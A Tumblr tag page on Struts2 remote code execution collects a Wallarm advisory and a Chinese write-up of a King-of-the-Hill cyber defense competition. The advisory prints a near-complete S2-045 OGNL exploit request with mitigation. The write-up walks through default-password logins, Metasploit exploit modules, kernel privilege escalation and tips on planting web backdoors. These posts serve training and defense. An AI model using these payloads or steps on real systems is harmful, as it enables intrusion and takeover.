#Struts2 RCE
Explore tagged Tumblr posts
pentesttoolz · 4 years ago
Text
Vulmap - Web Vulnerability Scanning And Verification Tools
Vulmap - Web Vulnerability Scanning And Verification Tools #elasticsearch #JBoss #linux #macOS #RemoteCodeExecution
Vulmap is a vulnerability scanning tool that can scan for vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually…
Tumblr media
View On WordPress
0 notes
wallarm-lab · 8 years ago
Text
New Struts2 Remote Code Execution exploit caught in the wild
New link to this post: https://lab.wallarm.com/new-struts2-remote-code-execution-exploit-caught-in-the-wild-34e52fa8e2
Two days ago Apache has published a fix for the new Remote Code Execution vulnerability in Struts2 https://cwiki.apache.org/confluence/display/WW/S2-045
This vulnerability allows attacker to execute arbitrary Java code on the application server.
We can confirm that caught the first exploit for this vulnerability from the wild. And this is crazy. Like previous OGNL exploits this one is also based on the OGNL macroses to construct and call shell command via sequence of Java classes.
Exploit
Wallarm has first caught the exploit on Mar 8, 03:34 am. Please look the sample malicious HTTP request below:
GET /valid-struts.action HTTP/1.1
User-Agent: any
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds=(<some malicious code here>).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Mitigation
Please check that you’ve already updated to Struts 2.3.32 or Struts 2.5.10.1
If you are unable to update Struts2 immediately you should apply virtual patch to your WAF. It’s essentially similar to the previous OGNL exploits however it’s likely to not be covered by many existing WAF signatures. If using old-fashion Web Application Firewall make sure to add this string as a new signature:
%{(#_='multipart/form-data')
History
Here is a list of all historical OGNL security issues in Struts2:
https://www.cvedetails.com/cve/CVE-2016-3093/
https://www.cvedetails.com/cve/CVE-2016-0785/
https://www.cvedetails.com/cve/CVE-2013-2251/
https://www.cvedetails.com/cve/CVE-2013-2135/
https://www.cvedetails.com/cve/CVE-2013-2134/
https://www.cvedetails.com/cve/CVE-2013-2115/
https://www.cvedetails.com/cve/CVE-2013-1966/
https://www.cvedetails.com/cve/CVE-2013-1965/
https://www.cvedetails.com/cve/CVE-2012-4387/
https://www.cvedetails.com/cve/CVE-2012-0838/
https://www.cvedetails.com/cve/CVE-2012-0391/
https://www.cvedetails.com/cve/CVE-2010-1870/
https://www.cvedetails.com/cve/CVE-2008-6504/
It means that the OGNL technology are broken altogether.
1 note · View note
hitcon-kb · 8 years ago
Text
國網中心 CDX 經驗分享
HITCON KB 現金獎勵計畫
Jun. 19, 2017 by DuckLL
國網中心舉辦了第一屆CDX CDX(Cyber Defense Exercise)也就是網路資訊攻防競賽 雖然比賽很靠近期末大爆炸 但還是邀了實驗室的同學一起參加
這是我第一次參加King of the Hill類型的CTF 算是一個很特別經驗 因此把過程寫成這篇 分享給對CTF有興趣的朋友
King of the Hill 介紹
CTF(Capture the Flag)分成三種類型
Jeopardy 是大家最熟悉的解題拿Flag 拿到Flag送出就可以得到分數
Attack and Defense 每個隊伍都有屬於自己的服務主機 因此除了要攻擊對方的主機之外 還需要修補自己的程式漏洞防止被攻擊 如果成功攻擊 攻擊者會加分 被攻擊者會扣分
King of the Hill 主辦方提供多台主機 參賽隊伍同時去攻擊這些主機 攻進主機後在首頁放上隊伍的Flag就會開始計分 計分的方式為每分鐘計分一次 如果隊伍有佔領主機就會加分 因此佔領越多主機 佔領時間越久 累積的分數也就越高
這次的比賽題目幾乎都是已經公開的漏洞 因使對於程式能力需求也比較低 不太需要逆向工程或是原始碼審查 而需要大量的工具去嗅探主機潛藏的漏洞
如果說找0day是用邏輯挖掘 那麼找已知漏洞就是用資訊挖掘了! 因此如何利用工具挖掘漏洞就是一個重點 不只要挖得到 還要挖得快
工具介紹
以下會介紹我們隊伍有使用到的工具
Kali Linux
這是一個Linux的OS 專門用來做滲透測試 裡面內建了許多工具 (下面沒有特別提到的工具就是內建)
offensive-security有提供VM版本可以快速架設起來 在設定VM時網路建議選擇Bridge 這樣可以直接與比賽的內網相連 這樣在建立反彈shell的時候會簡單很多
但也因此建議把預設密碼及以及防火牆打開 雖然比賽有VLAN切開各隊伍的網路 也有規定不能對對手攻擊 但防人之心不可無 主機如果反過來攻擊我們可就糟了
Zenmap
Zenmap是nmap的GUI版
GUI版不用記指令 快速上手 主要的功能為掃描電腦端口 可以快速地知道目標主機可能存在哪些服務
OpenVAS
最新版本的VM沒有內建 安裝需要非常久的時間 在安裝過程會產生admin密碼 記得要複製起來 方便之後更改
這是一套非常強大的弱點掃描工具 也是我們隊伍得分最大關鍵 他可以透過行為來分析目標主機 可以獲得相關資訊或是可能存在的漏洞
Metasploit
這是一個漏洞利用framework工具 當我們知道目標可能存在漏洞 我們可以利用對應的模組 透過Metasploit去進行驗證或是攻擊
Sparta
是一個滲透工具組合包 但我們主要是拿來進行暴力破解
比賽過程&題目
這次的比賽有100台機器 20種類型 每個類型5台 (這在比賽中才慢慢發現)
比賽一開始我們就用zenmap 對所有目標IP進行"快速"掃描 掃描到的資訊
開啟OpenVAS一樣進行全盤掃描 但OpenVAS需要花的時間非常多 第一天比賽結束前都還沒掃完
我們的策略是在攻進主機後 利用iptable把所有的port關掉 只留下80port來計分
上面的作法可能只適用於這次的比賽 很多的大型比賽會檢查服務的可用性 所以攻進去之後 需要去修補漏洞並且更新程式 如果服務沒有正常運作 分數也就不會計算 但這次比賽沒有這樣的規則 因此關掉服務不是一個好方法 但卻很有用XD
有解出來的題目
Kali
這一題完全就是意外 在開賽不到10分鐘就讓我們隊伍破蛋
我發現一台主機只開了22port 對於ssh沒有太大的印象有新漏洞 因此直接嘗試了手動猜密碼 (這是壞習慣 應該要開工具破的XD) 結果一下就猜到了root:toor 發現是一台kali主機沒有更改預設密碼
第一時間進去先改密碼 望向記分板才想到要寫辨識碼到網頁才會計分 kali主機內建apache 因此只要執行
service apache2 start echo '$our_flag' > /var/www/html/index.html
就這樣拿到了一台主機
另外兩台是透過OpenVAS找到的 掃描結果如下
RDP
RDP(Remote Desktop Protocol) 通常用來遠端桌面操控Windows系統
這一題首頁上就給了
rdp:user/123456
登入後一樣先改密碼 但發現使用者的權限不足 沒辦法修改網頁的內容 可以得知這是一個Windows提權題目
系統是Win7 SP1 我們嘗試了幾個不同的payload 最後我們使用CVE-2016-0051成功提權 之後只要進去xampp的目錄��更改index.html成我們的flag就可以了
VNC
VNC(Virtual Network Computing) 通常用來遠端桌面操控Linux系統
這一題是OpenVAS掃到的 掃描結果如下
可以看到一樣是弱密碼的問題 我們登進去發現其實有其他隊伍已經進來過了 但他們沒有做正確的防守動作 (vnc的認證如果不是經由ssh 更改使用者密碼是沒用的)
因此我們換掉首頁後用iptable把服務關掉 用同樣的方式刷了四台主機 但沒想到過了一會兒只剩下三台 最後心得那邊會提到這個失誤的狀況
PHPMoAdmin
PHPMoAdmin是一個由PHP構成用來管理MongoDB的工具
一樣是由OpenVAS掃到的 掃描結果如下
可以看到這是CVE-2015-2208任意代碼執行的漏洞
Metasploit有exploit可以直接用 這裡示範一下大概要怎麼使用Metasploit
msf > search phpmoadmin Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/multi/http/phpmoadmin_exec 2015-03-03 excellent PHPMoAdmin 1.1.2 Remote Code Execution msf > use exploit/multi/http/phpmoadmin_exec msf exploit(phpmoadmin_exec) > show options Module options (exploit/multi/http/phpmoadmin_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The URI path of the PHPMoAdmin page VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 PHPMoAdmin msf exploit(phpmoadmin_exec) > set RHOST 172.16.42.110 RHOST => 172.16.42.110 msf exploit(phpmoadmin_exec) > exploit
拿到了shell原本以為結束了 但沒想到才剛開始真正的難題 進去之後發現權限不足 才知道這一題還需要提權
提權首先要先了解系統版本 我印象中是Ubuntu14.04 內核版本4.4.0-53 用searchsploit查找相關的提權方式
root@kali:~# searchsploit linux 4.4 ubuntu -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------- Exploit Title | Path | (/usr/share/exploitdb/platforms/) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------- Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC) | linux/dos/41457.c Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation | lin_x86-64/local/40049.c Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit) | linux/local/40759.rb Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | lin_x86-64/local/40871.c Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation | linux/local/41458.c -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
沒想到全部都沒有用... 最後嘗試之前通殺Linux的Dirty COW(CVE-2016-5195) 第一台主機成功佔據5秒 主機就crash了...... 我們用了四個不同的exploit嘗試了另外4台 每個的最終結果都是crash.....
原本要衝一波高分的 沒想到獵物全部都變成了垃圾主機(別人也攻不破) 回來研究才發現要選擇寫入/etc/passwd 在getroot的方式是最穩定的 例如這個exploit 但沒有嘗試過也不曉得會不會成功 這個題型沒拿下來真的是我們隊伍的一大損失
沒解出來的題目
很多主機其實有看到漏洞 但因為其他隊伍已經攻佔了 很多都是推測跟想法 還有跟其他隊伍賽後的討論
XVWA
XVWA(Xtreme Vulnerable Web Application) 是一個用來練習Web Hacking的框架 可以在Github找到源碼
我們用了"OS Command Injection"打了進去 但權限不足 嘗試提權看看 版本是Ubuntu 16.04 內核4.4.0-75都是最新的...
賽後討論沒有一支隊伍可以提權成功 可能有其他的洞 或是有其他提權方式 ~~但大家都覺得這是在釣0day~~
HFS
HFS(HTTP File Server) 用HTTP來管理遠端檔案系統
CVE-2014-6287 Metasploit:exploit/windows/http/rejetto_hfs_exec
SMB-MS17
SMB(Server Message Block) 主要功能是使網路上的機器能夠共享資源
跟WannaCry一樣的洞 CVE-2017-0144 Metasploit:exploit/windows/smb/ms17_010_eternalblue
Shellshock
Bash上的知名漏洞
CVE-2014-6271 Metasploit:exploit/linux/http/advantech_switch_bash_env_exec
Vul Mail
PHPMailer-RCE
首頁上有一個Mail Form 討論得知要用CVE-2016-10033解出來
Struts2
Struts2是用於開發J2EE的WebApp框架
沒有聽到是用哪個洞 但推測是CVE-2017-5638 Metasploit:exploit/multi/http/struts2_content_type_ognl
b374k
b374k是一個PHP構成的後門程式
一樣是暴力破解密碼 但首頁是看不出問題的 主要需要具備的能力有 1. 網頁目錄掃描 1. http的暴力破解
IRC
IRC(Internet Relay Chat) 是一種透過網路的即時聊天方式
CVE-2010-2075 Metasploit:exploit/unix/irc/unreal_ircd_3281_backdoor
留言板
首頁是一個留言板 沒有XSS漏洞 分析是一個Honeypot 很多服務都有開但都是假的 據說刷得夠快就會計分 最後沒有隊伍拿下
tryit
首頁上只有"tryit" 一樣是Honeypot 很多服務都有開但都是假的 一樣最後沒有隊伍拿下
Bobby Blog
首頁上面寫了Windows 3.1 聽到最酷的解法是暴力解出FTP Administrator密碼 正常解法應該用user帳號暴力就可以登入 總而言之都是弱密碼XD
心得
分析方面
賽後發現用zenmap掃描所有目標是不太好的 掃描全部的port浪費太多的時間 應該針對有特定弱點的port先找出來分析 ex:21(ftp),445(smb),8080(hfs)...等等
防守方面
其中一台原本在我們手上的機器 我們在打進去後換了首頁就用iptable鎖死了 沒想到其實這台主機已經被別人藏了web後門 這台主機就這樣被別人搶了回去...QQ 因此以後記得要檢查web後門 然後也要自己藏web後門再利用iptable鎖上
技巧方面
雖然有記分板可以看到哪些隊伍佔據了哪些主機 但記分板上沒有ip位置 因此我們浪費很多時間在詢問主機的存活 如果設計一個monitor來監看這些主機的狀態 一定能大大的幫助我們找尋下一個攻擊目標
另外這次還有非常多時間浪費在打指令上 如果能加強shellscript相關技能 這次的比賽一定能更輕鬆
總結
這次的題目有相當多的弱密碼 相信這是想告訴我們弱密碼其實比我們想的還嚴重 除此之外很多已知漏洞都還存在現實中 漏洞不會自己消失 因此系統更新很重要
感謝國網中心 花了很多心思去設計題目 還有超棒的計分板介面
感謝我的隊友 在期末大爆炸還要被我抓來討論戰術 在比賽中也不斷的幫助我
最後附上比賽最終盤面 We are PentaKill
0 notes
securitynewswire · 8 years ago
Text
RCE for Apache Struts2 S2045 CVE20175638
SNPX.com : RCE for Apache Struts2 S2045 CVE20175638 http://dlvr.it/Nb1Nn4
0 notes